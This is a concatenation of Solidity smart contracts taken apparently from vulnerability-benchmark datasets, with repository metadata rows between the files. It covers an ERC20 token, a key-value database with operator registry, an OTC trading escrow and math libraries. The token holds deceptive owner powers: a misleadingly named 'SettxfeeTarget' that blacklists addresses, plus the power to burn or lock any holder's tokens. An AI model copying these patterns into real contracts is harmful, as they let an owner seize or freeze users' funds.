_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function SettxfeeTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function removetxfeeTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 93,788 | 13,105 |
be34affcb9794c8864d3653d2d1eaa99bcb2ae7b6ec2c007345fc18b69695e97
| 15,393 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xbb5f2b6e2bc6ffda7d325c8db66381ac5d2588bf.sol
| 4,087 | 15,112 |
pragma solidity ^0.4.24;
contract Database{
mapping(bytes32 => uint) public uintStorage;
mapping(bytes32 => string) public stringStorage;
mapping(bytes32 => address) public addressStorage;
mapping(bytes32 => bytes) public bytesStorage;
mapping(bytes32 => bytes32) public bytes32Storage;
mapping(bytes32 => bool) public boolStorage;
mapping(bytes32 => int) public intStorage;
constructor(address[] _owners, bool _upgradeable)
public {
for(uint i=0; i<_owners.length; i++){
require(_owners[i] != address(0), "Empty address");
boolStorage[keccak256(abi.encodePacked("owner", _owners[i]))] = true;
emit LogInitialized(_owners[i], _upgradeable);
}
if (_upgradeable){
boolStorage[keccak256("upgradeable")] = true;
}
}
function enableContractManagement(address _contractManager)
external
returns (bool){
require(_contractManager != address(0), "Empty address");
require(boolStorage[keccak256(abi.encodePacked("owner", msg.sender))], "Not owner");
require(addressStorage[keccak256(abi.encodePacked("contract", "ContractManager"))] == address(0), "There is already a contract manager");
addressStorage[keccak256(abi.encodePacked("contract", "ContractManager"))] = _contractManager;
boolStorage[keccak256(abi.encodePacked("contract", _contractManager))] = true;
return true;
}
function setAddress(bytes32 _key, address _value)
onlyApprovedContract
external {
addressStorage[_key] = _value;
}
function setUint(bytes32 _key, uint _value)
onlyApprovedContract
external {
uintStorage[_key] = _value;
}
function setString(bytes32 _key, string _value)
onlyApprovedContract
external {
stringStorage[_key] = _value;
}
function setBytes(bytes32 _key, bytes _value)
onlyApprovedContract
external {
bytesStorage[_key] = _value;
}
function setBytes32(bytes32 _key, bytes32 _value)
onlyApprovedContract
external {
bytes32Storage[_key] = _value;
}
function setBool(bytes32 _key, bool _value)
onlyApprovedContract
external {
boolStorage[_key] = _value;
}
function setInt(bytes32 _key, int _value)
onlyApprovedContract
external {
intStorage[_key] = _value;
}
function deleteAddress(bytes32 _key)
onlyApprovedContract
external {
delete addressStorage[_key];
}
function deleteUint(bytes32 _key)
onlyApprovedContract
external {
delete uintStorage[_key];
}
function deleteString(bytes32 _key)
onlyApprovedContract
external {
delete stringStorage[_key];
}
function deleteBytes(bytes32 _key)
onlyApprovedContract
external {
delete bytesStorage[_key];
}
function deleteBytes32(bytes32 _key)
onlyApprovedContract
external {
delete bytes32Storage[_key];
}
function deleteBool(bytes32 _key)
onlyApprovedContract
external {
delete boolStorage[_key];
}
function deleteInt(bytes32 _key)
onlyApprovedContract
external {
delete intStorage[_key];
}
modifier onlyApprovedContract() {
require(boolStorage[keccak256(abi.encodePacked("contract", msg.sender))]);
_;
}
event LogInitialized(address _owner, bool _upgradeable);
}
interface DBInterface {
function setContractManager(address _contractManager)
external;
function setAddress(bytes32 _key, address _value)
external;
function setUint(bytes32 _key, uint _value)
external;
function setString(bytes32 _key, string _value)
external;
function setBytes(bytes32 _key, bytes _value)
external;
function setBytes32(bytes32 _key, bytes32 _value)
external;
function setBool(bytes32 _key, bool _value)
external;
function setInt(bytes32 _key, int _value)
external;
function deleteAddress(bytes32 _key)
external;
function deleteUint(bytes32 _key)
external;
function deleteString(bytes32 _key)
external;
function deleteBytes(bytes32 _key)
external;
function deleteBytes32(bytes32 _key)
external;
function deleteBool(bytes32 _key)
external;
function deleteInt(bytes32 _key)
external;
function uintStorage(bytes32 _key)
external
view
returns (uint);
function stringStorage(bytes32 _key)
external
view
returns (string);
function addressStorage(bytes32 _key)
external
view
returns (address);
function bytesStorage(bytes32 _key)
external
view
returns (bytes);
function bytes32Storage(bytes32 _key)
external
view
returns (bytes32);
function boolStorage(bytes32 _key)
external
view
returns (bool);
function intStorage(bytes32 _key)
external
view
returns (bool);
}
contract Events {
DBInterface public database;
constructor(address _database) public{
database = DBInterface(_database);
}
function message(string _message)
external
onlyApprovedContract {
emit LogEvent(_message, keccak256(abi.encodePacked(_message)), tx.origin);
}
function transaction(string _message, address _from, address _to, uint _amount, address _token)
external
onlyApprovedContract {
emit LogTransaction(_message, keccak256(abi.encodePacked(_message)), _from, _to, _amount, _token, tx.origin);
}
function registration(string _message, address _account)
external
onlyApprovedContract {
emit LogAddress(_message, keccak256(abi.encodePacked(_message)), _account, tx.origin);
}
function contractChange(string _message, address _account, string _name)
external
onlyApprovedContract {
emit LogContractChange(_message, keccak256(abi.encodePacked(_message)), _account, _name, tx.origin);
}
function asset(string _message, string _uri, address _assetAddress, address _manager)
external
onlyApprovedContract {
emit LogAsset(_message, keccak256(abi.encodePacked(_message)), _uri, keccak256(abi.encodePacked(_uri)), _assetAddress, _manager, tx.origin);
}
function escrow(string _message, address _assetAddress, bytes32 _escrowID, address _manager, uint _amount)
external
onlyApprovedContract {
emit LogEscrow(_message, keccak256(abi.encodePacked(_message)), _assetAddress, _escrowID, _manager, _amount, tx.origin);
}
function order(string _message, bytes32 _orderID, uint _amount, uint _price)
external
onlyApprovedContract {
emit LogOrder(_message, keccak256(abi.encodePacked(_message)), _orderID, _amount, _price, tx.origin);
}
function exchange(string _message, bytes32 _orderID, address _assetAddress, address _account)
external
onlyApprovedContract {
emit LogExchange(_message, keccak256(abi.encodePacked(_message)), _orderID, _assetAddress, _account, tx.origin);
}
function operator(string _message, bytes32 _id, string _name, string _ipfs, address _account)
external
onlyApprovedContract {
emit LogOperator(_message, keccak256(abi.encodePacked(_message)), _id, _name, _ipfs, _account, tx.origin);
}
function consensus(string _message, bytes32 _executionID, bytes32 _votesID, uint _votes, uint _tokens, uint _quorum)
external
onlyApprovedContract {
emit LogConsensus(_message, keccak256(abi.encodePacked(_message)), _executionID, _votesID, _votes, _tokens, _quorum, tx.origin);
}
event LogEvent(string message, bytes32 indexed messageID, address indexed origin);
event LogTransaction(string message, bytes32 indexed messageID, address indexed from, address indexed to, uint amount, address token, address origin);
event LogAddress(string message, bytes32 indexed messageID, address indexed account, address indexed origin);
event LogContractChange(string message, bytes32 indexed messageID, address indexed account, string name, address indexed origin);
event LogAsset(string message, bytes32 indexed messageID, string uri, bytes32 indexed assetID, address asset, address manager, address indexed origin);
event LogEscrow(string message, bytes32 indexed messageID, address asset, bytes32 escrowID, address indexed manager, uint amount, address indexed origin);
event LogOrder(string message, bytes32 indexed messageID, bytes32 indexed orderID, uint amount, uint price, address indexed origin);
event LogExchange(string message, bytes32 indexed messageID, bytes32 orderID, address indexed asset, address account, address indexed origin);
event LogOperator(string message, bytes32 indexed messageID, bytes32 id, string name, string ipfs, address indexed account, address indexed origin);
event LogConsensus(string message, bytes32 indexed messageID, bytes32 executionID, bytes32 votesID, uint votes, uint tokens, uint quorum, address indexed origin);
modifier onlyApprovedContract() {
require(database.boolStorage(keccak256(abi.encodePacked("contract", msg.sender))));
_;
}
}
contract Operators {
Database public database;
Events public events;
constructor(address _database, address _events) public {
database = Database(_database);
events = Events(_events);
}
function registerOperator(address _operatorAddress, string _operatorURI, string _ipfs, address _referrerAddress)
external
onlyOwner {
require(_operatorAddress != address(0));
bytes32 operatorID = keccak256(abi.encodePacked("operator.uri", _operatorURI));
require(database.addressStorage(keccak256(abi.encodePacked("operator", operatorID))) == address(0));
database.setBytes32(keccak256(abi.encodePacked("operator", _operatorAddress)), operatorID);
database.setAddress(keccak256(abi.encodePacked("operator", operatorID)), _operatorAddress);
database.setString(keccak256(abi.encodePacked("operator.ipfs", operatorID)), _ipfs);
if(_referrerAddress == address(0)){
database.setAddress(keccak256(abi.encodePacked("referrer", operatorID)), database.addressStorage(keccak256(abi.encodePacked("platform.wallet.assets"))));
} else {
database.setAddress(keccak256(abi.encodePacked("referrer", operatorID)), _referrerAddress);
}
events.operator('Operator registered', operatorID, _operatorURI, _ipfs, _operatorAddress);
}
function removeOperator(bytes32 _operatorID)
external {
address operatorAddress = database.addressStorage(keccak256(abi.encodePacked("operator", _operatorID)));
require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))) || msg.sender == operatorAddress);
database.deleteBytes32(keccak256(abi.encodePacked("operator", operatorAddress)));
database.deleteAddress(keccak256(abi.encodePacked("operator", _operatorID)));
database.deleteAddress(keccak256(abi.encodePacked("referrer", _operatorID)));
events.operator('Operator removed', _operatorID, '', '', msg.sender);
}
function changeOperatorAddress(bytes32 _operatorID, address _newAddress)
external {
address oldAddress = database.addressStorage(keccak256(abi.encodePacked("operator", _operatorID)));
require(oldAddress != address(0));
require(msg.sender == oldAddress || database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))));
database.setAddress(keccak256(abi.encodePacked("operator", _operatorID)), _newAddress);
database.deleteBytes32(keccak256(abi.encodePacked("operator", oldAddress)));
database.setBytes32(keccak256(abi.encodePacked("operator", _newAddress)), _operatorID);
events.operator('Operator address changed', _operatorID, '', '', _newAddress);
}
function changeReferrerAddress(bytes32 _operatorID, address _newAddress)
external {
address oldAddress = database.addressStorage(keccak256(abi.encodePacked("referrer", _operatorID)));
require(oldAddress != address(0));
require(msg.sender == oldAddress || database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))));
database.setAddress(keccak256(abi.encodePacked("referrer", _operatorID)), _newAddress);
events.operator('Referrer address changed', _operatorID, '', '', _newAddress);
}
function updateIPFS(bytes32 _operatorID, string _ipfs)
external
onlyOperator(_operatorID)
returns(bool){
database.setString(keccak256(abi.encodePacked("operator.ipfs", _operatorID)), _ipfs);
events.operator('Operator ipfs', _operatorID, '', _ipfs, msg.sender);
}
function addAsset(bytes32 _operatorID, string _name, string _ipfs, bool _acceptCrypto, bool _payoutCrypto, address _token)
external
onlyOperator(_operatorID)
returns (bool) {
bytes32 modelID = keccak256(abi.encodePacked('model.id', _operatorID, _name));
require(database.addressStorage(keccak256(abi.encodePacked("model.operator", modelID))) == address(0));
database.setAddress(keccak256(abi.encodePacked("model.operator", modelID)), msg.sender);
database.setString(keccak256(abi.encodePacked('model.ipfs', modelID)), _ipfs);
acceptToken(modelID, _token, _acceptCrypto);
payoutToken(modelID, _token, _payoutCrypto);
events.operator('Asset added', modelID, _name, _ipfs, msg.sender);
return true;
}
function removeAsset(bytes32 _modelID)
external
onlyOperator(_modelID)
returns (bool) {
database.deleteAddress(keccak256(abi.encodePacked("model.operator", _modelID)));
database.deleteString(keccak256(abi.encodePacked('model.ipfs', _modelID)));
events.operator('Asset removed', _modelID, '', '', msg.sender);
}
function updateModelIPFS(bytes32 _modelID, string _ipfs)
external
onlyOperator(_modelID)
returns(bool){
database.setString(keccak256(abi.encodePacked("model.ipfs", _modelID)), _ipfs);
events.operator('Model ipfs', _modelID, '', _ipfs, msg.sender);
}
function acceptToken(bytes32 _modelID, address _tokenAddress, bool _accept)
public
onlyOperator(_modelID)
returns (bool) {
if(_tokenAddress == address(0)){
database.setBool(keccak256(abi.encodePacked("model.acceptsEther", _modelID)), _accept);
}
database.setBool(keccak256(abi.encodePacked("model.acceptsToken", _modelID, _tokenAddress)), _accept);
return true;
}
function payoutToken(bytes32 _modelID, address _tokenAddress, bool _payout)
public
onlyOperator(_modelID)
returns (bool) {
if(_tokenAddress == address(0)){
database.setBool(keccak256(abi.encodePacked("model.payoutEther", _modelID)), _payout);
}
database.setBool(keccak256(abi.encodePacked("model.payoutToken", _modelID, _tokenAddress)), _payout);
return true;
}
function destroy()
onlyOwner
external {
events.transaction('Operators destroyed', address(this), msg.sender, address(this).balance, address(0));
selfdestruct(msg.sender);
}
modifier onlyOwner {
require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))));
_;
}
modifier onlyOperator(bytes32 _id) {
require(database.addressStorage(keccak256(abi.encodePacked("operator", _id))) == msg.sender || database.addressStorage(keccak256(abi.encodePacked("model.operator", _id))) == msg.sender || database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))));
_;
}
}
| 162,549 | 13,106 |
d7bf1c769a26a0cc502c7b5fb6a92e49712e0e32252b66fae5ef0ccdd0e7c72e
| 18,255 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0xd924bdd6fa7fd3d0eb1337853a814a4263dcbfe8.sol
| 2,916 | 11,158 |
pragma solidity ^0.5.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TrustlessOTC is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
mapping(address => uint256) public balanceTracker;
mapping(address => uint256) public feeTracker;
mapping(address => uint[]) public tradeTracker;
event OfferCreated(uint indexed tradeID);
event OfferCancelled(uint indexed tradeID);
event OfferTaken(uint indexed tradeID);
uint256 public feeBasisPoints;
constructor (uint256 _feeBasisPoints) public {
feeBasisPoints = _feeBasisPoints;
}
struct TradeOffer {
address tokenFrom;
address tokenTo;
uint256 amountFrom;
uint256 amountTo;
address payable creator;
address optionalTaker;
bool active;
bool completed;
uint tradeID;
}
TradeOffer[] public offers;
function initiateTrade(address _tokenFrom,
address _tokenTo,
uint256 _amountFrom,
uint256 _amountTo,
address _optionalTaker) public payable returns (uint newTradeID) {
if (_tokenFrom == address(0)) {
require(msg.value == _amountFrom);
} else {
require(msg.value == 0);
IERC20(_tokenFrom).safeTransferFrom(msg.sender, address(this), _amountFrom);
}
newTradeID = offers.length;
offers.length++;
TradeOffer storage o = offers[newTradeID];
balanceTracker[_tokenFrom] = balanceTracker[_tokenFrom].add(_amountFrom);
o.tokenFrom = _tokenFrom;
o.tokenTo = _tokenTo;
o.amountFrom = _amountFrom;
o.amountTo = _amountTo;
o.creator = msg.sender;
o.optionalTaker = _optionalTaker;
o.active = true;
o.tradeID = newTradeID;
tradeTracker[msg.sender].push(newTradeID);
emit OfferCreated(newTradeID);
}
function cancelTrade(uint tradeID) public returns (bool) {
TradeOffer storage o = offers[tradeID];
require(msg.sender == o.creator);
require(o.active == true);
o.active = false;
if (o.tokenFrom == address(0)) {
msg.sender.transfer(o.amountFrom);
} else {
IERC20(o.tokenFrom).safeTransfer(o.creator, o.amountFrom);
}
balanceTracker[o.tokenFrom] -= o.amountFrom;
emit OfferCancelled(tradeID);
return true;
}
function take(uint tradeID) public payable returns (bool) {
TradeOffer storage o = offers[tradeID];
require(o.optionalTaker == msg.sender || o.optionalTaker == address(0));
require(o.active == true);
o.active = false;
balanceTracker[o.tokenFrom] = balanceTracker[o.tokenFrom].sub(o.amountFrom);
uint256 fee = o.amountFrom.mul(feeBasisPoints).div(10000);
feeTracker[o.tokenFrom] = feeTracker[o.tokenFrom].add(fee);
tradeTracker[msg.sender].push(tradeID);
if (o.tokenFrom == address(0)) {
msg.sender.transfer(o.amountFrom.sub(fee));
} else {
IERC20(o.tokenFrom).safeTransfer(msg.sender, o.amountFrom.sub(fee));
}
if (o.tokenTo == address(0)) {
require(msg.value == o.amountTo);
o.creator.transfer(msg.value);
} else {
require(msg.value == 0);
IERC20(o.tokenTo).safeTransferFrom(msg.sender, o.creator, o.amountTo);
}
o.completed = true;
emit OfferTaken(tradeID);
return true;
}
function getOfferDetails(uint tradeID) external view returns (address _tokenFrom,
address _tokenTo,
uint256 _amountFrom,
uint256 _amountTo,
address _creator,
uint256 _fee,
bool _active,
bool _completed) {
TradeOffer storage o = offers[tradeID];
_tokenFrom = o.tokenFrom;
_tokenTo = o.tokenTo;
_amountFrom = o.amountFrom;
_amountTo = o.amountTo;
_creator = o.creator;
_fee = o.amountFrom.mul(feeBasisPoints).div(10000);
_active = o.active;
_completed = o.completed;
}
function getUserTrades(address user) external view returns (uint[] memory){
return tradeTracker[user];
}
function reclaimToken(IERC20 _token) external onlyOwner {
uint256 balance = _token.balanceOf(address(this));
uint256 excess = balance.sub(balanceTracker[address(_token)]);
require(excess > 0);
if (address(_token) == address(0)) {
msg.sender.transfer(excess);
} else {
_token.safeTransfer(owner(), excess);
}
}
function claimFees(IERC20 _token) external onlyOwner {
uint256 feesToClaim = feeTracker[address(_token)];
feeTracker[address(_token)] = 0;
require(feesToClaim > 0);
if (address(_token) == address(0)) {
msg.sender.transfer(feesToClaim);
} else {
_token.safeTransfer(owner(), feesToClaim);
}
}
}
| 215,387 | 13,107 |
aff934fb614f58f18eca941251dbd20c4683b5515c0885b776aaa177011df78a
| 27,123 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/03/037936d20e4F64Ebc1bB998cE8301d99604C438F_Oracle.sol
| 5,156 | 18,628 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Pair {
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address, address) external;
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
